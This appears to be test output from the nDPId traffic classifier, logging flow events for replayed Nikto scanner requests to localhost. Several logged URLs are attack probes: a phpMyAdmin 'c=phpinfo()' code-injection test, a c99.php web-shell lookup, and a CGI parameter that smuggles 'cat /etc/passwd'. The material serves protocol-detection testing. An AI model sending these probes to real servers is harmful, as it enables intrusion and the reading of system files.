+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":755,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":755,"flow_packet_id":1,"flow_first_seen":1576420277909,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51072,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":755,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":755,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":909737,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9phtAAEAGlh1\/AAABfwAAAceAH5B1J59d+HsAr4AYAED+sQAAAQEICp1m\/72dZv+9R0VUIC9vcGVuLnR4dCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA2NDQ4KQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":755,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":755,"flow_packet_id":1,"flow_first_seen":1576420277909,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51072,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/open.txt","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006448)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":756,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":756,"flow_packet_id":1,"flow_first_seen":1576420277910,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51074,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":756,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":756,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":910929,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA+2VAAEAGQNB\/AAABfwAAAceCH5AHKcInz6YgT4AYAED+tAAAAQEICp1m\/76dZv++R0VUIC9meDI5aWQxLnR4dCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA2NDQ5KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":756,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":756,"flow_packet_id":1,"flow_first_seen":1576420277910,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51074,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/fx29id1.txt","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006449)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":757,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":757,"flow_packet_id":1,"flow_first_seen":1576420277912,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51076,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":757,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":757,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":912210,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAC6pAAEAGMIx\/AAABfwAAAceEH5BX8jLvG2MI1oAYAED+tAAAAQEICp1m\/8CdZv\/AR0VUIC9meDI5aWQyLnR4dCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNjQ1MCkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":757,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":757,"flow_packet_id":1,"flow_first_seen":1576420277912,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51076,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/fx29id2.txt","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006450)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":758,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":758,"flow_packet_id":1,"flow_first_seen":1576420277913,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51078,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00614{"flow_id":758,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":758,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":913754,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"AAAAAAAAAAAAAAAACABFAAC4Ym1AAEAG2dB\/AAABfwAAAceGH5BoAlsuZzuA64AYAED+rAAAAQEICp1m\/8GdZv\/BR0VUIC8\/LXMgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDY1MjMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00752{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":758,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":758,"flow_packet_id":1,"flow_first_seen":1576420277913,"flow_last_seen":0,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":164,"flow_max_l4_data_len":164,"flow_avg_l4_data_len":164,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51078,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/?-s","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006523)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":759,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":759,"flow_packet_id":1,"flow_first_seen":1576420277917,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51080,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":759,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":759,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":917133,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBkMVAAEAGq29\/AAABfwAAAceIH5D4rqmFil0FBYAYAED+tQAAAQEICp1m\/8WdZv\/ER0VUIC9sb2dpbi5waHA\/LXMgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNjUyNCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":759,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":759,"flow_packet_id":1,"flow_first_seen":1576420277917,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51080,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/login.php?-s","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006524)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":760,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":760,"flow_packet_id":1,"flow_first_seen":1576420277919,"flow_last_seen":0,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":208,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":208,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51082,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00674{"flow_id":760,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":760,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":919034,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"AAAAAAAAAAAAAAAACABFAADk1ppAAEAGZXd\/AAABfwAAAceKH5AeVe\/gFGxiPoAYAED+2AAAAQEICp1m\/8adZv\/GR0VUIC8zcmRwYXJ0eS9waHBNeUFkbWluL3NlcnZlcl9zeW5jLnBocD9jPXBocGluZm8oKSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNjYwOCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":760,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":760,"flow_packet_id":1,"flow_first_seen":1576420277919,"flow_last_seen":0,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":208,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":208,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51082,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/3rdparty\/phpMyAdmin\/server_sync.php?c=phpinfo()","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006608)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":761,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":761,"flow_packet_id":1,"flow_first_seen":1576420277920,"flow_last_seen":0,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":199,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":199,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51084,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00661{"flow_id":761,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":761,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":920668,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AAAAAAAAAAAAAAAACABFAADbRbxAAEAG9l5\/AAABfwAAAceMH5CzBHzzJnp1p4AYAED+zwAAAQEICp1m\/8idZv\/IR0VUIC9waHBNeUFkbWluL3NlcnZlcl9zeW5jLnBocD9jPXBocGluZm8oKSBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNjYwOCkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":761,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":761,"flow_packet_id":1,"flow_first_seen":1576420277920,"flow_last_seen":0,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":199,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":199,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51084,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpMyAdmin\/server_sync.php?c=phpinfo()","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006608)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":762,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":762,"flow_packet_id":1,"flow_first_seen":1576420277922,"flow_last_seen":0,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":208,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":208,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51086,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00673{"flow_id":762,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":762,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":922324,"pkt_caplen":242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":242,"pkt_l4_len":208,"pkt":"AAAAAAAAAAAAAAAACABFAADkm4xAAEAGoIV\/AAABfwAAAceOH5AOOaLD4MTa7oAYAED+2AAAAQEICp1m\/8qdZv\/KR0VUIC8zcmRwYXJ0eS9waHBteWFkbWluL3NlcnZlcl9zeW5jLnBocD9jPXBocGluZm8oKSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNjYwOCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":762,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":762,"flow_packet_id":1,"flow_first_seen":1576420277922,"flow_last_seen":0,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":208,"flow_max_l4_data_len":208,"flow_avg_l4_data_len":208,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51086,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/3rdparty\/phpmyadmin\/server_sync.php?c=phpinfo()","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006608)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":763,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":763,"flow_packet_id":1,"flow_first_seen":1576420277923,"flow_last_seen":0,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":199,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":199,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51088,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00661{"flow_id":763,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":763,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":923745,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"AAAAAAAAAAAAAAAACABFAADb3d5AAEAGXjx\/AAABfwAAAceQH5AJweSWVSMF84AYAED+zwAAAQEICp1m\/8udZv\/LR0VUIC9waHBteWFkbWluL3NlcnZlcl9zeW5jLnBocD9jPXBocGluZm8oKSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwNjYwOCkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00788{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":763,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":763,"flow_packet_id":1,"flow_first_seen":1576420277923,"flow_last_seen":0,"flow_tot_l4_data_len":199,"flow_min_l4_data_len":199,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":199,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51088,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/phpmyadmin\/server_sync.php?c=phpinfo()","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006608)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":764,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":764,"flow_packet_id":1,"flow_first_seen":1576420277925,"flow_last_seen":0,"flow_tot_l4_data_len":192,"flow_min_l4_data_len":192,"flow_max_l4_data_len":192,"flow_avg_l4_data_len":192,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51090,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00653{"flow_id":764,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":764,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":925213,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"AAAAAAAAAAAAAAAACABFAADU+B5AAEAGRAN\/AAABfwAAAceSH5DHT8FWYmCfAYAYAED+yAAAAQEICp1m\/82dZv\/NR0VUIC9wbWEvc2VydmVyX3N5bmMucGhwP2M9cGhwaW5mbygpIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDY2MDgpDQoNCg=="} +00781{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":764,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":764,"flow_packet_id":1,"flow_first_seen":1576420277925,"flow_last_seen":0,"flow_tot_l4_data_len":192,"flow_min_l4_data_len":192,"flow_max_l4_data_len":192,"flow_avg_l4_data_len":192,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51090,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/pma\/server_sync.php?c=phpinfo()","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006608)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":765,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":765,"flow_packet_id":1,"flow_first_seen":1576420277926,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51092,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":765,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":765,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":926727,"pkt_caplen":202,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":202,"pkt_l4_len":168,"pkt":"AAAAAAAAAAAAAAAACABFAAC8cdVAAEAGymR\/AAABfwAAAceUH5AbWUib+wxcy4AYAED+sAAAAQEICp1m\/86dZv\/OR0VUIC9jOTkucGhwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDY3MzkpDQoNCg=="} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":765,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":765,"flow_packet_id":1,"flow_first_seen":1576420277926,"flow_last_seen":0,"flow_tot_l4_data_len":168,"flow_min_l4_data_len":168,"flow_max_l4_data_len":168,"flow_avg_l4_data_len":168,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51092,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/c99.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006739)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":766,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":766,"flow_packet_id":1,"flow_first_seen":1576420277928,"flow_last_seen":0,"flow_tot_l4_data_len":231,"flow_min_l4_data_len":231,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":231,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51094,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00705{"flow_id":766,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":766,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":928118,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":265,"pkt_l4_len":231,"pkt":"AAAAAAAAAAAAAAAACABFAAD73s9AAEAGXSt\/AAABfwAAAceWH5B+NOeIVrpz2oAYAED+7wAAAQEICp1m\/9CdZv\/PR0VUIC9hd2N1c2VyL2NnaS1iaW4vdmNzP3hzbD0vdmNzL3Zjc19ob21lLnhzbCUyNmNhdCUyMCUyMi9ldGMvcGFzc3dkJTIyJTI2IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDA2OTk0KQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00825{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":766,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":766,"flow_packet_id":1,"flow_first_seen":1576420277928,"flow_last_seen":0,"flow_tot_l4_data_len":231,"flow_min_l4_data_len":231,"flow_max_l4_data_len":231,"flow_avg_l4_data_len":231,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51094,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/awcuser\/cgi-bin\/vcs?xsl=\/vcs\/vcs_home.xsl%26cat%20%22\/etc\/passwd%22%26","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:006994)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":767,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":767,"flow_packet_id":1,"flow_first_seen":1576420277929,"flow_last_seen":0,"flow_tot_l4_data_len":167,"flow_min_l4_data_len":167,"flow_max_l4_data_len":167,"flow_avg_l4_data_len":167,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":51096,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 